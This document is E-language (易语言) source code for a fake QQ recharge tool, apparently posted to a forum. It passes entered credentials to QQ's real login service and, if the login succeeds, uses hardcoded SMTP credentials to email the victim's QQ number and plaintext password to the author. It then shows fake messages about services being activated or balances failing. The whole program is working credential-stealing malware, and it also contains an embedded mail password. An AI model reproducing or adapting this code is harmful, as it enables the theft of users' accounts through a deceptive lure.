.版本 2
.支持库 script
.支持库 internet
.支持库 spec
.支持库 HtmlView
.程序集 窗口程序集1
.子程序 __启动窗口_创建完毕
加载皮肤 (5)
加载Aero特效 ()
.子程序 _登录按钮_被单击
.局部变量 pass, 文本型
.局部变量 临时数据, 文本型
.局部变量 IP, 文本型
.局部变量 temp, 文本型, , "0"
脚本组件1.执行 (#md5)
pass ＝ 脚本组件1.运行 (“md5_3”, 编辑框2.内容)
pass ＝ 脚本组件1.运行 (“md5”, pass ＋ 到大写 (编辑框3.内容))
临时数据 ＝ 到文本 (彗星HTTP读文件 (“
http://ptlogin2.qq.com/login”, “POST”, , , “u1=http%3A%2F%2Fimgcache.qq.com%2Fqzone%2Ftoolbar%2Floginsucc.html%3Fpara%3DblogComment&fp=loginerroralert&h=1&u=” ＋ 编辑框1.内容 ＋ “&p=” ＋ pass ＋ “&verifycode=” ＋ 编辑框3.内容 ＋ “&aid=15000101&from_ui=1”, ))
.如果 (寻找文本 (临时数据, “登录成功”, , 假) ＞ 0)
连接发信服务器 (“smtp.qq.com”, , “
[email protected]”, “10086.”, )
发送邮件 (“傻叉”, “帐号” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码” ＋ 编辑框2.内容, “
[email protected]”, , , “
[email protected]”, )
文本配置 ()
信息框 (“登录成功，为了你帐号的安全，请验证密保！”, #信息图标, “登录成功”)
载入 (窗口1, , 真)
图片框_验证.图片 ＝ 彗星HTTP读文件 (“
http://ptlogin2.qq.com/getimage”)
编辑框3.内容 ＝ “”
.否则
信息框 (“请输入正确的帐号，密码,”, #错误图标, “登录失败”)
信息框 (“请输入正确的验证码,”, #错误图标, “登录失败”)
.如果结束
.子程序 文本配置
发送邮件 (“QQ来了”, “帐号” ＋ 编辑框1.内容 ＋ #换行符 ＋ “密码” ＋ 编辑框2.内容, “
[email protected]”, , , “
[email protected]”, )
.子程序 获取验证码
.局部变量 a, 文本型
a ＝ 彗星HTTP读文本 (“ptlogin2.qq.com/check?uin=” ＋ 编辑框1.内容 ＋ “&appid=15000101”)
.如果 (取文本长度 (a) ＝ 25)
编辑框3.内容 ＝ 取文本中间 (a, 19, 4)
_登录按钮_被单击 ()
.否则
_启动窗口.高度 ＝ 498
图片框_验证.图片 ＝ 彗星HTTP读文件 (“
http://ptlogin2.qq.com/getimage”)
_登录按钮_被单击 ()
.如果结束
.子程序 _图片框_验证_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
图片框_验证.图片 ＝ 彗星HTTP读文件 (“
http://ptlogin2.qq.com/getimage”)
.子程序 _登录按钮1_被单击
获取验证码 ()
.子程序 _按钮4_被单击
.判断开始 (编辑框1.内容 ＋ 编辑框2.内容 ＝ “”)
信息框 (“对不起！您还没有登录”, #错误图标, “请先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “”)
信息框 (“业务开启成功，服务器将在24小时内将业务送到您QQ上。”, #信息图标, “刷砖成功”)
.默认
.判断结束
.子程序 _按钮1_被单击
延迟 (2000)
.判断开始 (编辑框1.内容 ＋ 编辑框2.内容 ＝ “”)
信息框 (“对不起！您还没有登录”, #错误图标, “请先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框11.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框1.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框13.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框15.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框4.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框5.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框6.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框7.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框3.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框2.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框14.选中 ＝ 真)
信息框 (“开通失败！失败原因：QB余额获取失败,请您确认是否登录以及您的QB余额。”, #错误图标, “您的账户余额不足,或先登录”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框11.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框1.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框13.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框15.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框4.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框5.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框6.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框7.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框3.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框2.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.判断 (编辑框1.内容 ＋ 编辑框2.内容 ≠ “” 且 单选框14.选中 ＝ 假)
信息框 (“请选择要充值的项目”, #错误图标, “致命错误”)
.默认
.判断结束
.子程序 _图片框11_鼠标左键被按下, 逻辑型
.参数 横向位置, 整数型
.参数 纵向位置, 整数型
.参数 功能键状态, 整数型
超文本浏览框1.地址 ＝ “
http://wpa.qq.com/msgrd?V=!&Uin=334631163&Site=ioshenmue&Menu=yes”
.子程序 _编辑框1_内容被改变
.子程序 _标签1_反馈事件, 整数型
.参数 参数一, 整数型
.参数 参数二, 整数型
[attachment=5149694]
我晕,附件太大上传不了.点小企鹅把
